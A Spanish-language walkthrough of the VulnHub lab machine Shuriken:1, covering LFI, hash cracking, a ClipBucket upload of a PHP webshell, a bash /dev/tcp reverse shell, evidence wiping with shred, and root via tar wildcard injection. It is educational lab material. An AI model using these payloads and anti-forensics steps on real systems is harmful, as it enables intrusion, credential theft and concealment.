Shuriken:1 VulnHub

---

Introducción

En esta máquina de VulnHub, Shuriken:1, realizaremos una auditoría de seguridad en un entorno controlado, recorriendo las distintas fases de reconocimiento, enumeración, explotación y escalada de privilegios. Durante el proceso, aprovecharemos vulnerabilidades como LFI, la subida de archivos en ClipBucket y el abuso de wildcards en tareas cron para obtener acceso inicial al sistema y alcanzar privilegios de root.

Fase de reconocimiento

---

Identificación de objetivo en la red

arp-scan -I enp0s3 --localnet --ignoredups

ping -c 1 10.0.2.17

Le lanzamos un ping y logramos determinar que la máquina víctima está encendida. A mayores, gracias al TTL podemos identificar como atacantes que estamos ante una máquina Linux, ya que generalmente Linux (TTL → 64) | Windows (TTL → 128) son los valores comunes si no han sido modificados.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.0.2.17 -oN allPorts

 nmap -p80 -sCV 10.0.2.17 -oN targeted

Encontramos un único puerto abierto correspondiente al servicio HTTP que aloja un servicio web levantado con Apache2. Con un script de nmap vamos a seguir aplicando reconocimiento.

Obtención de versión de S.O.

Cabe destacar que, según la versión de Apache y tirando de webs como launchpad, podemos llegar a averiguar el codename de la versión de Ubuntu a la que nos enfrentamos, por ejemplo realizando esta búsqueda en internet: “Apache httpd 2.4.29 launchpad”.

De esta forma averiguamos que estamos ante un Ubuntu Bionic.

nmap -p80 --script http-enum 10.0.2.17 -oN webScan

En el escaneo nos reporta varias rutas interesantes, vamos a echarles un vistazo desde el navegador.

Enumeración

---

Enumeración de servicio HTTP

whatweb http://10.0.2.17

Vemos en la parte superior derecha un apartado de “Sign In” que nos lleva a la ruta /login.html, que nos reportaba el escaneo con el script de nmap:

Aunque aparezcan las opciones de “Sign Up” y “Forgot Password?”, son atrezzo. Aparte de esto, también nos llama la atención en la web principal una parte que nos permite suscribirnos a su newsletter, ya que tenemos control sobre el input como usuarios; ya veremos cómo se comporta el servidor ante esto.

Una vez visto esto, podemos echarle un vistazo a la ruta descubierta con el escaneo de nmap /secret:

• /secret

Encontramos un Directory Listing con un archivo llamado “secret.png”, que es el siguiente:

Se trata de esa imagen “http://10.0.2.17/secret/secret.png”. Podríamos pensar en esteganografía, pero no van por ahí los tiros; se trata de un rabbit hole y no llegaremos a nada.

Otra ruta descubierta es /js, podemos echarle un vistazo a los archivos javascript que contenga a ver si encontramos alguna ruta o información destacable.

Podemos echarle un vistazo a los archivos de forma cómoda y organizada de la siguiente manera:

curl -s http://10.0.2.17/js/index__7ed54732.js | js-beautify | cat -l js

curl -s http://10.0.2.17/js/index__d8338055.js | js-beautify | cat -l js

Examinando ambos archivos descubrimos lo que parece ser un dominio y un subdominio; esto debemos añadirlo a nuestro archivo /etc/hosts para que, en caso de que se esté aplicando virtualHosting, carguen correctamente los recursos y las páginas de la web objetivo.

Una vez hecho, hacemos uso de estos dominios y, al entrar al subdominio “broadcast.shuriken.local”, vemos lo siguiente:

Otro panel de autenticación para entrar al sitio. Por otro lado, encontramos lo siguiente en los archivos javascript:

Descubrimos un parámetro en la web principal del sitio.

Explotación

---

Explotación de LFI

En este punto lo primero en que deberíamos pensar es en un posible LFI.

http://shuriken.local/index.php?referer=/etc/passwd

curl -s -X GET "http://shuriken.local/index.php?referer=/etc/passwd"

Y efectivamente, logramos explotar un LFI y obtener el contenido del archivo /etc/passwd. Gracias a esto, obtenemos el usuario válido del sistema, “server-management”, con el que podríamos tratar de iniciar sesión en los paneles de autenticación lanzando un ataque de fuerza bruta.

Uso de wrappers para obtener código fuente de la web

Antes de eso vamos a tratar de ver el código fuente del index.php; para ello podríamos apuntar directamente al recurso index.php, pero esto entraría en bucle y podría saturar el servicio web. Para evitar conflictos podríamos hacer uso de wrappers, en concreto del wrapper php://filter, que permite aplicar un filtro (como una conversión) a un recurso al que apunte.

curl -s -X GET "http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=index.php"

Al pasarle el script php de esta forma no lo interpreta y nos lo muestra en base64, de forma que podemos decodificarlo en nuestra máquina para ver su contenido.

echo -n "cadenaBase64" | base64 -d; echo

De esta manera logramos ver el contenido del archivo con el código php sin interpretar.

¿Función str_replace para sanitizar potencial LFI?

Al final del archivo vemos lo siguiente:

Ahí es donde está configurado el parámetro “referer” que hace referencia a un archivo y se le está aplicando una pequeña sanitización con la función str_replace. Utilizar esta función para tratar de sanitizar código contra posibles LFI no es muy buena práctica, ya que su función es sustituir lo que indique, en este caso “../”, por el segundo argumento que se indique, en este caso por nada, es decir, lo omite.

¿Cuál es el problema real? Pues que esta función no aplica la sustitución de forma recursiva y se queda en el primer match, de forma que podríamos bypassearla muy fácilmente:

Por lo que queda claro que no es muy buena práctica utilizar esta función para este propósito.

Enumeración de archivos de configuración en Apache2

En este punto, algo que podríamos hacer aprovechando el LFI y sabiendo que por detrás el servidor web que se emplea es Apache2, sería tratar de echar un vistazo a sus archivos de configuración en busca de credenciales válidas, por ejemplo.

curl -s -X GET "http://shuriken.local/index.php?referer=/etc/apache2/sites-available/000-default.conf"

En el archivo 000-default.conf podemos encontrar la configuración de los virtualHost y, efectivamente, vemos la ruta en que se almacenan los archivos de cada virtualHost. Además, para broadcast.shuriken.local (el que nos pedía credenciales para acceder a través del navegador) descubrimos que cuenta con un AuthUserFile en /etc/apache2/.htpasswd.

curl -s -X GET "http://shuriken.local/index.php?referer=/etc/apache2/.htpasswd"

Efectivamente encontramos unas credenciales. La contraseña está hasheada, por lo que hay que tratar de crackearla utilizando herramientas como hashcat o John the Ripper.

Crackeo de credencial hasheada

john -w:/usr/share/wordlist/rockyou.txt credentials

Y así logramos obtener las credenciales para el panel de autenticación del subdominio broadcast.shuriken.local. Las validamos en el login:

Efectivamente logramos acceso al aplicativo web ClipBucket.

Enumeración de software ClipBucket

Investigando este software vemos que ClipBucket es una plataforma de vídeo y streaming open source estilo YouTube, y si nos fijamos en el título de la web, en la pestaña, vemos que se trata de la versión 4.0. Podemos hacer una búsqueda de vulnerabilidades conocidas para este escenario a ver si tenemos suerte.

searchsploit clipbucket 4.0

A pesar de que aparece dos veces, es una única vulnerabilidad a la que vamos a echar un vistazo a ver de qué trata:

searchsploit -x php/webapps/44250.txt

Esta vulnerabilidad permite tanto ejecutar comandos (Command Injection), como subir archivos (File Upload) y aplicar una SQLI para ejecutar código SQL en la base de datos MySQL. Además, nos facilita un PoC de cada vuln:

• Command Injection

• File Upload

Y la Blind SQLI, que no nos interesa, ya que con estos dos ejemplos ya podemos llegar a realizar la intrusión a la máquina víctima. Vamos a subir un archivo malicioso, por ejemplo; para ello:

Explotación de FileUpload en ClipBucket v4.0.0

Antes de subir el archivo hay que crearlo, por lo que creamos el archivo webShell.php:

<?php system($_GET['cmd']); ?>

Y una vez creado podemos subirlo como indica el PoC:

curl -F "file=@webShell.php" -F "plupload=1" -F "name=webShell.php" http://developers:9972761drmfsls@broadcast.shuriken.local/actions/photo_uploader.php

Autenticación mediante URL con curl La autenticación mediante URL permite incluir las credenciales directamente en la dirección, siguiendo el formato http://usuario:contraseña@servidor/ruta.

Ejemplo:

curl "http://developers:9972761drmfsls@broadcast.shuriken.local/actions/photo_uploader.php"

curl utiliza las credenciales developers:9972761drmfsls para autenticarse ante el servidor HTTP.

Nos devuelve en formato json, por lo que podemos verlo más bonito utilizando la herramienta jq.

Y efectivamente logramos subir el archivo malicioso; el inconveniente ahora está en encontrar la ruta en dónde se subió este archivo, ya que si probamos el “file_directory” que se nos indica:

Nos devuelve un 404 Not Found. Lo que podemos hacer en este punto es aplicar fuzzing para tratar de descubrir rutas y ver dónde puede estar alojado este archivo que acabamos de subir, para ello:

gobuster dir -u http://developers:9972761drmfsls@broadcast.shuriken.local -w /usr/share/SecLists-master/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt

De nuevo es necesario autenticarnos en la URL para que no nos devuelva el código de estado 401.

El principal directorio que nos llama la atención es /files, por lo que vamos a echar un vistazo.

Y efectivamente vemos los archivos maliciosos que subimos antes (ambos son el mismo, pero al utilizar jq anteriormente ejecuté dos veces la subida del archivo, por lo que se subieron dos), así que podemos validar si funciona la webShell:

Y efectivamente logramos un RCE. En este punto podemos entablarnos una reverse shell y ganar acceso a la máquina víctima.

Entablando Reverse Shell

http://broadcast.shuriken.local/files/photos/2026/10/15/1792050390b17a00.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.13/443 0>%261'

# nos ponemos en escucha en la máquina atacante
nc -nlvp 443

Una vez dentro, antes de empezar con la enumeración local vamos a hacer un tratamiento de la TTY.

Tratamiento de la TTY

script /dev/null -c bash
# ctrl + z 
stty raw -echo;fg 
reset xterm 
export SHELL=bash TERM=xterm
stty rows 53 columns 206

Tras esto podemos empezar con la enumeración local.

Borrado de evidencias

Una vez dentro de la máquina, si no quisiéramos dejar evidencias de los archivos utilizados para ganar acceso a la misma, las webShells, podríamos hacer uso del comando shred para aplicar un borrado un poco más exhaustivo que rm y que sea algo más complejo recuperarlos por técnicas forenses.

shred -zun 10 -v *

Escalada de privilegios

---

Enumeración local

grep "sh$" /etc/passwd

sudo -l 

Vemos que podemos ejecutar el comando npm como el usuario server-management sin proporcionar contraseña, gracias a privilegios a nivel de sudoers.

User Pivoting

Sabiendo esto, nuestro objetivo es pivotar hacia este usuario para lograr escalar privilegios en la máquina víctima. Para ello podemos apoyarnos en la página gtfobins y buscar el binario npm:

De esta forma logramos pivotar hacia el usuario server-management. En este punto enumeramos de nuevo con este usuario para encontrar la forma de elevar privilegios a root.

En el directorio home de server-management encontramos la flag de usuario.

Detección de tareas Cron de forma manual

Después de probar varios vectores comunes como permisos suid, capabilities, etc., decidimos probar a detectar tareas cron (tareas que se ejecutan a intervalos regulares de tiempo), pero esta vez de forma manual, creando un script de bash que las detecte (en vez de utilizar la herramienta pspy). Para ello podemos utilizar este script de bash:

#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon|command|kworker"
	old_process=$new_process
done

Con este script estaríamos continuamente comparando los comandos en ejecución en el sistema y nos mostraría con un “>” los nuevos comandos en comparación a los últimos registrados en la variable “$old_process”, y con un “<” los que ya no se estén ejecutando. Lo ejecutamos y detectamos lo siguiente:

Al parecer se está ejecutando una tarea cron que ejecuta el script “backupsrv.sh”, podemos revisarlo en el archivo /etc/crontab.

Podemos echar un vistazo al script:

Este script lo que hace es coger todos los archivos del directorio /home/server-management/Documents empleando una wildcard * y el comando tar para comprimirlos y ejecutar el backup en la ruta destino.

Abusando de Wildcards (tar command)

¿Cuál es el problema de esto? El riesgo está en que, al estar utilizando wildcards, al ejecutar el backup se va a incluir todo lo que haya en la ruta indicada, de forma que se podría dar este caso:

Al hacer uso de wildcards, el riesgo está en que un atacante puede crear archivos con nombres de parámetros para que así el comando que se esté ejecutando los interprete como tal. Y el comando tar, si consultamos de nuevo gtfobins, podemos ver que se puede spawnear una shell con él.

Haciendo uso de los parámetros --checkpoint=1 y --checkpoint-action=exec=/bin/sh, sabiendo esto podríamos crear en el directorio /home/server-management/Documents los siguientes archivos:

cd  /home/server-management/Documents
touch -- --checkpoint=1
touch -- --checkpoint-action=exec='sh command'

Esto lo que hará es que, cuando se ejecute la tarea cron con privilegios de root, al estar utilizando la wildcard cogerá los nombres de dichos archivos como parámetros y ejecutará el contenido del script “command”, por lo que podemos crear ese archivo con el siguiente contenido:

#!/bin/bash
chmod +s /bin/bash

Por lo que, cuando se ejecute la tarea cron e interprete los archivos como parámetros por el empleo de la wildcard, a su vez se ejecutará el script malicioso y se otorgarán privilegios suid a la bash. Podemos monitorizar en tiempo real cuando suceda con el siguiente comando:

watch -n 1 ls -l /bin/bash

Y una vez hecho podemos escalar privilegios al usuario root.

/bin/bash -p

Una vez hecho, habríamos completado la máquina Shuriken:1 de VulnHub!!